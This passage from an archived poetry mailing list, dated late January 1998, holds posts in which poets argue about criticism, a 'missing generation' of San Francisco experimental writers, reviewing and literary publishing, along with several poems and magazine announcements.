Isn't this coercion of "economic circumstances" into low-pressure relevance via "CONCENTRATION ON..[etc]", really quite drearily enthusiastic? An explanation - however partial or specific - need not be an "excuse". How is your concentration enabled, what are the qualities of its persistence, what are the material situations of its effectiveness? The old "cop-out" accusation can also be an uninterestingly reflex gesture of self-aggrandizement.

Keston

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1012. **p. durgin**
Re: a posting to poetics
Fri 30 Jan 1998

"hen" & Rod, The question becomes, to what degree does one's writing attain to a social function (not a role, a function). The role of poet or of critic would seem to imply that their function is social. Socio-economic distinctions do not register a "cop-out" insofar as one creates for and within turbulent and inequitable social matrices. And this inequity cannot easily be said to be innocuous in our distinctions between "good" and bad creative and critical work. If I understand Rod's argument, it's that it's difficult(er) to formulate or recognize a unified "project" in some of today's writing, as opposed to that there Langpod hoedown of a few years back. It's tough to cop out of a project which was never undertaken. Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

1013. **k. lederer**
Re: Great poem, great poet
Fri 30 Jan 1998

By Ishmael Klein:
(From Gare du Nord, Notley and Oliver, eds.)

Where Everything Waits

Nobody was left who'd lastly scuffed first earth's crust.
Boiling sea had thin-sheened each cubit of firmament.
Mountains ceased to assert, gave in to ground
arounding whatever hard rock
to then there-over and taken down.

All shapes breaking hysterical particles and subs who settled;
devoting former whirr of shape to Silence
which was enough.

It stayed uniform Silent for some many months
which strengthened to pull outerspace noise in to neutralize
but lost its grip.

So this Sound hard pressed in to sink holes
and look into original force that was still shut up
under black lacquer cabinetry: our future perfect world.

It opened door of dust,
the space Sound, picked up pings distantly.
Seeing to sound is what and how Bounceback.

Since the dust so still and small,
this wave skinnied high-pitched
to switch on resistance of an average mote.

What would stand to receive?
What was the point of pointing to resisting decay?
What was there to say?

Could anything be activated?
Much was strained in "done" state and so sought exit through soft
Silence under rather than be stabbed by point-cornered Silence above.

So sound deranged to be
needle pierce to dust piece
and sunned a word heard first by the bygone ("ouch").

And the Silence, started by the sneaking sound,
forgot its own high ground
and grumbled some rebuke.

Underground the glad particulates
laughed at the gaff and stretched as to seem
(something among it a voice) to sweep up what had been:

II

One in Dust begun

One chased out Perceptivity from mum.

This made and In so such could close

over after outreach which comes back with something to stay.

Stretching comes to the zone where is shifting

from mixing its own x-space with outside sensed data.

Each already edgy piece in "earshot"
each piece pulled in by dust's desire to harbor more.

Similar to dolphin noise the riffs that began off flats of static

f.p. earth, those etched by rust-hinge-close sound, insecure.

Not all dust took in.

Those who did not got ultra dense.

If there were a strike to this one specie,

sparks would three feet, at least, and atoms.

To them strike relieves adhesion.

They like hits from nowhere; they won't admit their Hard

it's in every space.

But sparks in dark if eye sees then

a mouth to say how beautiful a light of light blue

that lasts then deepens in hue still blue. Shaped

like a pin, each spark alights to hold itself elsewhere down.

What it lands on is to remember spark beautiful.

Spark from hard Silence made mad.

More mad makes for more hard which will get hit

and fly farther because it is harder.

III

Clicketing care taken soft expansive dust gets all over the dense.

Colors change as comes collision.

They don't know intimately each color shift
nor say "mysterious" to themselves when frequencies change wildcat.

They just want to do all they can
now that they can.

They definitely do not know about the deep
frozen people way out in orbit.

Animals are not in this orbit because they had a heaven in mind before they died.

For people, the trick would have been to have made arrangements as for territory; seeing as something of them might survive.

If back before upheaval they know someone dying,
they should have had him save a spot in the thereafter.

He'd have been able to stand by the rope and shake it so they would notice and to have said how long they would have to hold on

before the rooms for them are ready.

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1014. **louis stroffolino**
Re: Missing generation
Fri 30 Jan 1998

One thing I've been thinking about lately that might tie in with some of the points Kevin Killian raises is this: Isn't it a little too early to complain about poets of (I guess) "my generation" that have "dropped out"? Maybe I only speak for myself here (maybe not), but when one thinks of Oppen's alleged 30 year hiatus, or the fact that Stevens didn't publish his first book until he was 44 (and had his economic life together) and then didn't write a poem for 6 years or so (while Holly was born and toddled etc.)--- (kinda like John Lennon's househusband phase? "watching the wheels" ah the courage to say "everybody seems to think I'm lazy/ I don't mind I think they're crazy") or Dylan's basement tape/nashville sky- line "drop out period" ("just who were you expectin'? jesus zimmerman?) and the examples could proliferate, considering this, considering the sometimes really silly pressures poets place on other poets or on themeselves (or maybe the "agent" that places these pressures is just some idea of productivity, some puritan ethic, some spurious "conscience", some idea of the career of the poet, the way the idea of the POET gets in the way, becomes perhaps at times somewhat debilitating, a question of aesthetic reputation), one may wonder and maybe it would be worthwhile to investigate exactly what is meant by "poetic commitment". So now that I've perhaps come off like an "EXASPERATING" killjoy, codger of sorts, let me say that I am not interested in preventing anybody from NOT "dropping out", but I do want to "rise" to a defense of those who may have dropped out (and I'm not naming names right now, names are not exactly what i feel is at stake here), or may have seemed to drop out. Dropped out from WHAT? is I believe a valid question. I don't know if anybody else here has felt that there's sometimes when it's very important to "lay fallow" as it were and maybe even WILL or FORCE oneself NOT to write, recognizing that there are, at certain times at least in ones life, when the enthusiasm to write write write fight fight fight publish publish publish (and in "the right places" at that) may become counterproductive, get in the way, when (dare I say this today, when LESS IS MORE), etc. and this can go many different ways, in many different directions, but i'm curious where you, oh dear collective of listers, might take it. Thank you, Chris Stroffolino

On Fri, 30 Jan 1998 [redacted] wrote:

> *Katy Lederer wrote: "a number of primarily male language poets in the 70s and 80s basically drove an entire generation of young writers out of San Francisco because they were so critical of them. Etc. I believe this stuff because I hear it from people who know--and also because of the strange absence of young "experimental" poets between the ages of 35 and 45 in SF..."*
>
> *This is Kevin Killian (aet 45) . . . Like Katy I too have often noticed the strange absence to young "experimental" poets between the ages of 35 and 45 in SF. I think she's right on the money there, there is a great gap that exists, and I too have often speculated on the reasons why. But Katy, I don't buy the explanation that male language poets drove these people out of the city [OKAY I CAN THINK OF 1 or 2], and I wonder who the "people who know" who told you this might be! Many writers left the Bay Area for the same reason you did--because after Berkeley, what else is there? But there are other reasons too for this gap. Not only in poetry, not only in all the arts, but in every occupation or avocation, there's a missing generation, men and women who might have been 35 to 45 today but who instead died of AIDS. The new wave of miracle drugs that began circa 1991 have slowed the progress of HIV through the body, enabling seropositive people to live longer and more productive lives; but before that, it was like, you got the virus, you died, wham. And many, many of the promising poets and writers in San Francisco, where we enjoy and sometimes even reify our drug use and high risk behaviors, simply died instead of filling the gap that you and I both see.*
>
> *There's another explanation too and that is IMHO many poets just simply stop writing around the age of 30 or 35. The younger poets who you would kill for now are an exciting crew, but in ten years a third of them will have given up poetry not due to squelching criticism, just due to -- mmm, it's hard to say why. [A second third will have taken their writing into directions you will no longer respect.] I notice this not only in my own generation (since many of the writers whom I thought were genius, when I first moved to San Francisco in 1980, are now silent) (and of course many of them dead) but in other generations too. (Writing the life of Jack Spicer I saw how many brilliant poems were written by young men and women who were between the ages of 20 and 35 in the forties, fifties, sixties, and then for various reasons just stopped, period). I wonder, looking at an anthology like Juliana's and Peter's "Writing from the New Coast" how many of the poets even in that book--who were the younger poets of five years ago--have since stopped writing. Or, as I look back on the poets Dodie Bellamy and I have published in our zine, "Mirage #4/Period[ical]," hundreds of them by now, and half of them must have been under thirty, I look at the earlier issues and I go into a melancholy mist thinking, Too bad X decided to become a full-time programmer, Too bad Y decided to write for cable TV. Tell you what, back channel me with your list of the young poets of today who are writing the most exciting work and I'll keep it for*

> *ten years, then you and I, sitting on our rockers, will uncover the time capsule and work out who is still writing, what they're writing, and who went on with it.*
>
> *And one more thing, the absurd length of this post, it would be just as fair to say that the language poets were themselves driven out of San Francisco: one by one they all left us--though your advisors might say that this is what has made the current re-birth of new poetry here possible?*
>
> *And finally, and this is not only for Katy, but if any of you on this List don't have that copy of Philly Talks with Ron Silliman and Jeff Derksen, let me know (back channel) and I'll send it to you as supplies hold out. It's really interesting and I personally would enjoy a wider discussion of Jeff's announcement of the tendency, among "emerging" writers, "toward a poetics if disgust and overdetermination."*
>
> *Okay, see you. XXX Kevin K.*
>
> *P.S., Aldon, if Shauna Hannibal and Giovanni Singleton are between the ages of 35 and 45, then a) so are, mmm, the boys in Hanson . . . b) get me the phone numbers of their dermatologists and or surgeons . . . c) it must be true what they say about how living close to the water keeps you preternaturally young . . .*

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1015. **robert drake**

Call for hypertexts (forward)

Fri 30 Jan 1998

> *_BullHead Electric: An On-Line Journal of New Poetry, Graphics, Reviews, News_ is looking for submissions of hypertext poetry. Contact Joe Napora ([redacted]). The URL of the magazine is:*
>
> *http://ram.ramlink.net/~napora/bullhead.htm*

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1016. **pritchpa**

Re: pumping poetry

Fri 30 Jan 1998

Hi Henry. Hi Kent. I like this idea by god. But I think you should call it the Utopian World Union of Indie Critics. They'll have a secret HQ the whereabouts of which are unknown to any of them. We could also abolish all self-interest too

and hell, why not, world hunger while we're at it. Who wouldn't want that? Well - lots of people I suppose. David Brinkely might get upset on both counts!

Seriously, though. It's amusing to think of a kind of blurbless blurb i.e. one without any attribution. Grosse Gott how would we know what to THINK? But for this to happen, really and truly, posits a radical series of sweeping cultural changes that would also end racism, sexism, fascism, etc etc etc. In other words, in the mutually interdependent world of the ten kajillion things, you can't have the one without all the others too. What you're really talking about is the end of a capital-based society - the end of the opposition between purity of vocation and Mammon - and a return to a gift economy. Well not really a return, but... Ja love, y'all.

To Chris Stroffolino: I heard Mark DuCharme read a piece last night he collaborated with you on. Great stuff - didn't get a chance to talk to him, he ducked out immediately after.

Patrick Pritchett

From: henry
To: [redacted]
Subject: Re: pumping poetry
Date: Friday, January 30, 1998 1:00PM

Maria, I didn't mean you. Yes the ranting gets SLOPPY & BORING. I was thinking about the general phenomenon (is it a right-left brain thing?) of people theorizing about a subject when they have no feel for the process. (There will be many who think I'm such a one myself.) & the process I was trying to emphasize (this is one place where FORM & POLITICS connect) was the danger in poetry (imaginatively speaking). "It can kill a man." I mean the tightrope quality of moving line to line, when the poet puts his or her BODY ON THE LINE in the old sense expressed in the phrase "a man of his word". That's what I think of when I think of the process of MAKING POEMS. It can be lost sight of in the teeming jungle atmosphere of world poetry production in this day & age. It's a marvelous jungle indeed - you can take paths both outward & inward. But that being on the line through a whole lifetime development is part of what I meant by the danger of being thrown off the wire by irrelevancies or corruptions. I'm not talking about influences. I'm talking about selling out in various ways; being packaged; losing your bearings.

- Henry Gould

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1017. **charssmith**
Re: references, please
Fri 30 Jan 1998

Pierre wrote:

<< > ... There were some
> "experimental" poets and writers of a different tendency who later moved
> (David Levi Strauss comes to mind), and whose publishing efforts (e.g.
> ACTS) subsided and whose writing slowed down (I haven't seen anything by
> Levi in a long time, but he may be writing other than poetry).

Tom -- Levi is well & alive in the Mid-Hudson Valley (or in Kent's terms he joined the Catskill school) & writing much excellent art criticism, some of it in easily accessible places like The Nation. >>

Last time I saw Levi, he was still working on _Odile & Odette_.

ps. to David Israel: It's Arthur Sze. & yes, _Archipelago_ is a wonderful piece of writing.

pps. it strikes me that there are many many "experimental" writers in the bay between the ages of 35 & 45 -- quite a few of them on this list. maybe not making as much noise as some, but the work's available for the reading. these lists of names, though, kinda become little more than chicken feed scattered in the dust.

--cs

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1018. **pritchpa**
(no subject)
Fri 30 Jan 1998

Yes. Okay. Roger that. But just for the record - and maybe I was being too oblique - I never scoffed at the idea of integrity in writing (or anything else) - I was skeptical, however, that anyone "gets anywhere" on their own. To write a poem, even in utmost secrecy is - if you're at all serious - to use a language already ancient in its poetic accruals: is to engage with the living presence of the dead - and also, your living contemporaries. As for publishing: that takes luck, connection, timing, persistence, canniness and even possibly a modicum of skill, maybe... (Whatever it takes, it's still eluding me! But, as you rightly say, that's not "the why" of writing a poem). In any event, it takes _other people_.

Patrick Pritchett

From: Henry Gould

To: [redacted]
Date: Wednesday, January 28, 1998 7:58PM

On Wed, 28 Jan 1998 14:26:00 -0600 pritchpa said:
>Oh Henry. Or should I say, "Oh Dr. Lydgate." Or better still, "Oh
>Dorothea." This has gotten boring. Let's both try to calm down. Thing
is
>I don't disagree with any of what you're saying about why one writes a
>poem - that's all rather Obvious - I just find the way you say it
>pompous and self-promoting - the very things you seem to be inveighing
>against so vehemently. If there's a poet or critic on this List who
>doesn't write "for luv" let him or her stand up now..... You see
anyone?
>I don't. But if you want to keep tilting at that windmill then by all
>means, go ahead.

Patrick, I'm really glad you agree with me. You began by scoffing at the idea that a writer might have a personal stake in originality or self- respect that might possibly be threatened by nepotism, back-scratching, the buddy system, groups in general; you thought it was naive that these things might influence the scene. But you've come around - that's the main thing, and I don't give a flying buffalo chip what you think of my style. Pax. I'm a pompous hypocrite - a list hog - so be it. The main thing is, you've come around. I'm surprised others haven't said what you've said more often - I think it's because everybody on the list is really nice (except for me & maybe that Bowering guy down in Canada). Self-serving - that's the least of it! Nobody ever knows, much less tells, the whole truth. The truth is I MARRIED into poetry, REMARRIED WAY OUT of poetry, and have been having poetic affairs (or trying to) IN poetry ever since! It's worse than Plath-Hughes, only the writing's better & nobody's died yet (me & Berryman just counted the other day). Ask Gwyn or Susan - they've actually read my stuff. (Gwyn - don't say anything before consulting my lawyer - let me give you his # - 612-000-00hh - he's that bearded guy in the lumberjack shirt & fur hat - Wayne McCornhusk - you've seen him on TV). Probably it's familiar already to 8% of the younger generation and 53% of the older generation, but it makes a helluva narrative, Dale. - Henry Gould (more creepily personal than ever!)

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1019. **KENT JOHNSON**
Ojo al toro con tres cuernos
Fri 30 Jan 1998

Spandrift:

Your parable reminds me of an old Uruguayan saying, which begins, "Beware of the bull with three horns." I wish I could remember the rest, but I can't. But I do remember once when I was 19, being at a barbecue in Punta del Este before it was totally trashed by the Brazilian and Argentinian jet set. It was a big party of young YMCA members, about 25 of us, and everyone got a big hunk of fairly rare meat with the hide and fur still attached. I remember watching the 17 year old girl I loved pick this up in her hands and chew and laugh. A kid, about the same age, picked up a guitar and started to sing a song by Daniel Viglieti, whose music was banned at the time, and everyone joined in, singing. By and by a black van and car both full of plainclothes cops arrived and started arresting everybody, and the kid with the guitar, who started to complain, got a long, black club across the face. The cop who was dragging away the girl I loved conveniently grabbed her breasts, and I stepped forward and yelled Hey! But then I didn't say anything more, afraid that I might get hit too. She tried to kick and punch back, but to no avail. She screamed at them that they were fascist pigs. The van drove away.

It was me and three or four 12 year olds who didn't get taken in. I was American, so the cops just took down some info and told me to watch it. OK, I said, I will. I took the bus back to Montevideo.

About two weeks later I saw the girl back at the Y. Our eyes met and then she quickly turned away. I started to say something but only half of it got out. Here and there I saw her a few times, but never spoke to her again. The kid playing the guitar was in for more than two years. No one died. I have no idea why in the world I'm saying this on this list. I know my posts are sometimes among the most idiosyncratic here and certainly not among the most esteemed. I don't fault anyone for that. In fact, I have come somehow to even like those who don't like me! Isn't that strange? But what is wrong with me? Forgive me for this creepily personal post! Something about not remembering the old saying about the bull with three horns draws me to say it, and also to remember the way that beautiful girl turned her eyes from me. It occurs to me now that if it weren't for what happened then that I wouldn't be typing this now on this list, whatever it might mean. It occurs to me that it turned me into everything that I became. I guess that sounds trite. And yes, ok, so I'm feeling a bit embarrassed, not very polished or admirable at all, aware that even this candor is another sad way of demeaning myself before all of you.

Oh, I really did feel like jumping over the cliff. Still do, actually. I wish poetry was a parachute that worked, but it doesn't, not when the cliff is real. I wanted, Henry, to say to you at the end, "Here, Henry, here is your purple hat." But now I don't want to say that--at least not in the clever way that I'd planned. Now I am feeling a little sad, sad for us both, but mostly selfishly sad for myself, and I feel like being quiet for a long while. I know that you might well be thinking

that I don't need to be sad for you, and of course you would be right. And I guess in the end, after all this time, after all those years of trying to forget, that's all that I have to say about that half-remembered saying.

Kent

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1020. **David Israel**
Re: A Parable about a Pair a Bulls
Fri 30 Jan 1998

Spendrift spinned this drift:

<< . . . J opened the Pack. Inside he found a faded manuscript written on 8 x 11" legal pad with black ink. . . . >>

acc. to this long-time law-office-worker, a legal pad is traditionally & customarily 8x14". Interesting tale -- "Allegory for the allegory's sake"? Dude may've not been far amis abt. "Row row [et seq.]" anyhew. One wonders as to the latter's origins. 7-foot couplet.

d.i.

p.s.: film worth seeing: Aton Egoyan's *The Sweet Hereafter*. That be narrative heaven, however fraught. Polley's music . . .

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1021. **david bromige**
carlo's post
Fri 30 Jan 1998

---

which I find splendid, a splendid correction, for myself certainly not seeing the wood for the trees (and then again, the trees for the wood), admirably concise and plangent outline of the history & not only of modernism, I would add (since Carlo stops with that term) but of the postModern (and I would be interested to read someone of Carlo's abilities who wants to insert other authorities to give some account of the difference between these two terms. "Counter-intuitive" requirements are what makes common sense so, uh, common, and so short in, um, sense. The entire appeal to intuition & common sense, spirals downward into bad temper ("why all these long words?") and barbarism ("Duh. . .") with which, among other minorities, intellectuals are attacked. Adorno liked to cite the tale of Mahler's donkey, which never met another donkey it didnt like, but had a hard time with modern music (I'm paraphrasing wildly here : someone got the correct quote?)

Reading this post of his, for me the whole constellance of debates _lifted_ ,I remembered what I'm here for--and hope others feel likewise. More on this soon I hope, David.

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1022. Robert Hale
One Million Poems or a Thousand Lines a Day
Fri 30 Jan 1998

Chris Stroffolino writes:

considering the sometimes really silly pressures poets place on other poets or on themeselves (or maybe the "agent" that places these pressures is just some idea of productivity, some puritan ethic, some spurious "conscience", some idea of the career of the poet, the way the idea of the POET gets in the way, becomes perhaps at times somewhat debilitating, a question of aesthetic reputation), one may wonder and maybe it would be worthwhile to investigate exactly what is meant by "poetic commitment".

I recall an article in the Wall Street Journal concerning Jordan Davis' project to write a million poems (or something like that). How is that going Jordan?

I also recall leaving a party after a discussion with Bruce Andrews about computers versus typewriters (guess which one he uses) and other matters including this list. His parting line was something to the effect of "now it's time to write a thousands lines." I took him seriously in the sense that he's fairly prolific. It was like he was saying "okay, partytime is over. Enough talk. Now go and write."

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1023. Marcella Durand
Re: As-Am poetics
Fri 30 Jan 1998

Check out Tan Lin's book from Sun & Moon, Lotion Bullwhip Giraffe (???). I'm blanking on the exact title.

From: Bob Grotjohn
Sent: Friday, January 30, 1998 9:50 AM
To: [redacted]
Subject: Re: As-Am poetics

Juliana Chang's essay is in MELUS 21.1 (Spring 1996): 81-98

Trinh T. Minh-ha, various work, is worth a look for theory.

Lisa Lowe, "Heterogeneity, Hybridity, Multiplicity" *Diaspora* 1 (Spring 1990): 24-44. Possible relation to experimental poetics.

Amerasia Journal. Asian American Poetry Issue. 20.3 (1994). A good place to start; various writers positioning themselves.

--
Bob Grotjohn
Mary Baldwin College
Staunton, VA 24401

540/[redacted]

AA00/TcAALxR

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1024. LAURA MORIARTY
old/young academic/non etc
Fri 30 Jan 1998

To reply to Maria's reply to my post -

I think there is a difference in the thinking that produces an academic essay or career and the thinking that produces poetry and/or essays that would not be legible to most in academia. Some feel quite strongly about this - Robert Duncan was one. The first time I met him was in Tom Parkinson's class at Cal and Duncan spent a half hour or maybe an hour attacking all academics - esp Tom - It's an old list argument I know. But I do think the critic or editor, academic or not, has the responsibility to find the work and the people. Men submit more to non so I ask the women two times, three times - I myself am often reticent and I know some male writers who are that way - But one must be relentless.

I think legibility is a key point - A group or generation provides a context - Sometimes you have to read alot of new writing to get what people are about - What they are doing that doesn't seem new but actually has changed everything -

And to Katy and others (btw Katy, great magazine!)

I've been in the Bay Area forever (well since 73) and there has never not been a lot going on - Jimmy & Lucy's House of K, Big Allis, and Ottotole are among the mags that were edited by and/or published many in the supposedly absent generation - jeez some of my best friends are in that gen - Not to mention myself who at 45 and, in the *younger-person* anthologies, am the same age as some of the old ones, as well the same age as of some of the *younger* ones -

It's also true what Chris Stroff said - Sometimes you have to take a few years off to have a kid, or help someone die or make some money etc -

Laura

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1025. **Don Byrd**
Re: pumping poetry
Fri 30 Jan 1998

---

henry gould wrote:

> *the incestuous*
> *and truly mystifying monopoly amalgamations of theory, criticism, scholarship,*
> *and poetry that go on in the academy; the disdain & disinterest displayed*
> *in humanities departments (of all places) for poetry;*

I am aware of the disinterest (such disinterest there is little disdain). I am not aware, however, of mystifying monopoly amalgamations. Am I missing some thing? There have been a few books on contemporary poetry by academics in recent years, three or four of them by poet-academics on this list, and there is an occasional article in a literary journal. But what do you mean? M.P. talking language poetry in her never-ending lecture tour? I do not see how the miseries of poetry can be blamed on criticism. I would insist there is no significant amount of criticism. There aren't even any reviews to speak of.

Do you really think, Henry, that we have some rules for an objective criticism? I will completely agree that too many of the few people who undertake to write about poery are demonstrably ignorant. I would say that at least 2/3 of the books on contemporary poetry written in the past twenty years prove only that their authors should NOT be tenured (and that those books secured them tenure shows how sadly bankrupt the system is), but when you say that you ideal critics "would keep a respectable distance from conflicts of interest, tendentious promotion, and favoritism, by means of a proud dedication to their OWN endeavor: an independent criticism interested in measuring the values of what passes for literature and sharing them with the general public," I have my doubts.

I get out my poetryometer (it was in the lab I got the key to when I got tenure) and measure the work of all the young poets. H.G. gets 9.5 on originality; 9.3 on structure, 9.9 on emotional intensity, 9.7 for ear for "daemonic laughter from distant Rockies."

I think it would be better for people to write about their friends.

Don

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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1026. **R. Gancie**
potry
Fri 30 Jan 1998

What did you expect, Brennan. This is a Poetry list. There's nothing at stake here. Why don't you call up one of radical, do-gooder sites, you simple shit.---Carlo

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1027. **henry gould**
Re: pumping poetry
Fri 30 Jan 1998

On Fri, 30 Jan 1998 17:15:03 -0800 Don Byrd said:
>henry gould wrote:
>
>> the incestuous
>> and truly mystifying monopoly amalgamations of theory, criticism,
>scholarship,
>> and poetry that go on in the academy; the disdain & disinterest displayed
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>their authors should NOT be tenured (and that those books secured them ten-
ure
>shows how sadly bankrupt the system is), but when you say that you ideal
>critics
>"would keep a respectable distance from conflicts of interest, tendentious
>promotion, and favoritism, by means of a proud dedication
>to their OWN endeavor: an independent criticism interested in measuring the
>values
>of what passes for literature and sharing them with the general public," I have
>my
>doubts.

Don, and others (I've been asked to amalgamate my messages): A while back there was an electronic journal outa Buffalo: there was somebody writing reviews under the pseudonym of Edgar Allan Poe. That pseudonymous personage was onto something. She or he was AMALGAMATING several of the list responses to my World Indie Critics proposal. Kent: it was a pseudonym. Harold: it was a circus (it was a clown on a tightrope). Patrick: it was Indie in the Utopian critical sense. And Don: it was taking contemporary poetry seriously while "keeping a distance".

I live in a small New England city with one big Ivy League U. At this U we have a prestigious MFA program. In this MFA program we have a "mainstream" element (CD Wright et al) and an "avant-garde" element (the Waldrops et al.) Both, oddly enough, emerging out of Arkansas (WHAT DOES THIS MEAN???) or thereabouts (See Keith's intriguing memoir LIGHT WHILE THERE IS LIGHT).

I'm not a good scholar. You could say I'm a typical narcissistic artist type. But my gut feeling is there is a homemade poetry group industry & a homemade collegiate MFA industry & a homemade P.R. industry for poetry nationwide

(U.S.), in Don's term "homemade". In consequence for various idealistic & self-serving motives a lot of ALLOWANCES are made for this little fishbowl.

The strategy I am proposing is the "Edgar Allan Poe" strategy. Let there be critics who, even though they write about their friends, PRETEND (pseu- dony-mously) to maintain Indie critical standards. Let there be a little decency in the fishbowl; let it not be nice people scratching each other's fleas all the time. Let there be some people who develop global critical vocabularies about poetry (just go read the Princeton Encyc. for a couple months: that will do the trick), and set them loose on the chapbooks out there. Let there be advocates of a Hart Crane Tradition (read his letters on reading poetry: it will clean out your system). Let there be an Indie Critical Union that is Cool. Steve Evans is dressed for the part; Rod Smith & his collection have just the right mix of youth & miseducation; they just need to get together with a dose of fuck you cold shower do-it-yourself street-level ammonia vinegar ice in the veins honesty. The stage is set! They don't criticize themselves - let the Critics appear!

All of a sudden the academy will not be a rest home for aging Langpo heroes or 70s prof youth hostels; they will have to play catch-up with a poetry world that measures itself honestly by standards not established by the poets themselves.

Finally, in response to those troubled by economic conditions & the "cop-out" tag I put on Rod Smith. You say Rod was just characterizing a situation. But he was also promoting a list of his fave raves. I said: I agree. There's no need for critical boilerplate P.R. ala the Language Poets. I agree. Just don't wimp out by saying "hey, we're really poor in our dead-end jobs we can't think critically we just write the stuff." That is a cop out. Rod didn't say exactly that. He sort of left it open; it's: there's these economic conditions so we either CAN'T or DON'T FEEL LIKE developing a critical armature. (Economic conditions are probably no worse now than they were in the 70s for those concerned.) I say: Rod, whether you do it yourselves or somebody else does it, it would be good for poetry right now to have a non-tenured non-promotional non-blurb non-publisher non-establishment non-group non-ideological non-clubby non-bullshit pro-poetry INDY CRITICAL ARMATURE. Yay Edgar. - Henry Gould

p.s. Don's poetryometer, for example, seems to be working PERFECTLY and I'm going to send it some non-incestuous chapbooks very soon. Eric, on behalf of Jack, on behalf of Henry, owes you a hamburger.

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1028. **Don Byrd**
Re: absurd reviews
Fri 30 Jan 1998

Many years ago, Leslie Fiedler was proposing a new school of criticism, the tenets of which were that all critical judgements must be obscene, negative, and brief. His illustration was a take on _Paradise Lost_: too fucking long.

db

Harold Rhenisch wrote:

> *Catherine Daly wrote:*
>
> *The idea that reviews be positive is absurd (in that way, it's kind of fun to imagine).*
>
> *I agree. A genre of truly tongue-in-cheek, ironic reviews would be a lot of fun.*
>
> *Harold Rhenisch*
> [redacted]

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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1029. **Nada Gordon**
AYA address
Fri 30 Jan 1998

To all those of you who so rightly asked how to e-mail a check, I provide my earth address:

Nada Gordon
4-26-6 Kitazawa
Setagaya-ku

Tokyo [redacted]
JAPAN

Six copies of AYA have been requested, which leaves fifteen *still available*. There may also still be copies available from SPD.

Will gladly consider trades.

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1030. **Nada Gordon**
Re: Copies of AYA still available
Fri 30 Jan 1998

> *Gordon,*
>
> *Hi! I'd be interested in a copy of AYA. Don't think I ever met ya, but I remember yr name from old Houses of K. Where wd you like a check sent?*

My address:

Nada Gordon
4-26-6 Kitazawa
Setagaya-ku
Tokyo [redacted]
JAPAN

Thanks!

↑ Index

1031. **Henry Gould**
posting to poetics
Fri 30 Jan 1998

HIEROGLYPH

Papa was always working on the house,
his long shadow bent across the sill
like a letter in an unknown alphabet,
his hoe or hammer making their steady
marks across the vagabond afternoons,
the deep summer water we lived through
holding our breath, our lungs tight
with promises, danger, laughing gas.

And when we grew older, more serious
and dangerous, Papa was always working
late at the office. For all we knew

he was a drone of the dread Pharaoh,
one of the caretakers of the Sphinx,
late into the night composing riddles,
subtle passwords and husky undertones
which opened the secret granary doors.

And it was only later, as we watched
his dry wooden boat slip underground,
that we understood the clean framing
of intention, the straight crossbeams
of its execution, that house of his
a kind of sounding board for praise.
Working across the tightrope of the
roofline was his way of walking on air.

ol' Hen Gould [ca. 1982]

↑ Index

1032. **Jordan Davis**
make it good
Sat 31 Jan 1998

Can somebody who claims to be "Ron Silliman" please explain what is meant by the following publications:

Harvard Business Review
Situation
Two Serious Ladies
My Trip to New York City
What
When the Sun Tries to Go on
Solution Passage
"I Know Men For Whom Everything Matters"
Public Economics
South China Morning Post
Forward
Cat Fancy
Kitchen Poems
Mysteries of Small Houses

Thanks! signed,
J

Alternatively, Ron, you could ease the collective disappointment by getting out of the live bait business -- and do something for american letters, again -- or as Anselm urged me to write -- Ron Silliman we love you get up

↑ Index

1033. Louis Cabri

phphph

Sat 31 Jan 1998

Hi everyone.

Here's the info again on the PhillyTalks newsletter if interested. Unlike the lovely Kevin K, I unfortunately must ask you for $2 per issue, but I will be happy to send them to as many as desire them.

Thanks to Nate Chinen, the newsletter will also be available on website -- #2 is just up as of yesterday, just one click away from #1. #3 is on the way, apparently.

The next two issues will surely be as exciting as the last three have been. Here's the line-up:

#4 Feb. 18: Jena Osman & Tina Darragh

#5 Mar. 5: Tom Mandel & Ammiel Alcalay

Back issues:

#1 Oct. 30 & 31: Laura Moriarty & David Bromige

#2 Nov. 5 & 6: Andy Levy & Jackson Mac Low

And, for #6 I want to announce a CALL FOR RESPONSES to any of #s 1-5. Respondents so far include Ben Friedlander. Please send me your materials (and checks or bills) to: 4331 Pine St., #1R, Philadelphia, PA, 19104. Or query me, if you like, at my email address.

PhillyTalks #s 1 & 2 can be found at: http://dept.english.upenn.edu/~wh

I may as well also plug the upcoming issue of the magazine _Open Letter_; guest edited by Jeff Derksen, it is titled "Disgust and Overdetermination." I'm pretty sure a single issue costs $9 and can be ordered from Frank Davey, 499 Dufferin Ave., London, Ontario, Canada, N6B 2A1.

Best,
Louis

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1034. Susan Clark
addresses
Sat 31 Jan 1998

If anyone knows snail / email addresses for

Mark Andrew Nowak
Karen Davies

please backchannel [I'm set to NOMAIL at the moment, overwhelmed]

thanks
Susan
[redacted]

↑ Index

1035. Thomas Bell
Re: Old Poets Home
Sat 31 Jan 1998

Henry,

In the days you are talking about, I was an 'occasional' reader of poetry without much interest specifically. But poetry was in the air then, it was alive and mattered to more than the poetry world. No matter what you say about the old poets and old readers, I don't think that's true today. tom bell

At 09:19 PM 1/29/98 EST, Henry Gould wrote:
>I like Ron's Big Thinking (even though he ignores whatever I have to say
>about the limits of his "aesthetic"). It reminds me of Edwin Honig.
>I don't think Ron's as old as Ed yet. But they both think a lot about
>Vietnam (maybe because Edwin fought in France in WW II even though the
>FBI kept trying to have him recalled because since he was a Jew from Brooklyn
>& had been to a couple "anarchist" meetings in the 30s he was considered
>a Commie). Now that we're about to test our new missiles (much more accurate!)
>in Iraq we remember "the more tings change..."
>
>I guess I would say your blind spot Ron is the idea that the "movement"
>(a lot of big Langpo readings in SF - men & women! in the late 70s)
>was So Much Better & Real & Great & Happening & Important than what's
>happening now. As far as I'm concerned your movement was a failure
>as political poetry. Wake up & smell the coffee, old guy. Poetry
>will be political when it does a little better as poetry. A place to
>start would be to shuck these generational reminiscences & scattered

>pigeon-like name-droppings that go by the name of "scholarship" or
>"criticism" or "the academy". It's a circus - there's the clown act,
>& then there's the tightrope.
>- Henry Gould
>
>

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1036. **Thomas Bell**

Part V elements of a visual poetics

Sat 31 Jan 1998

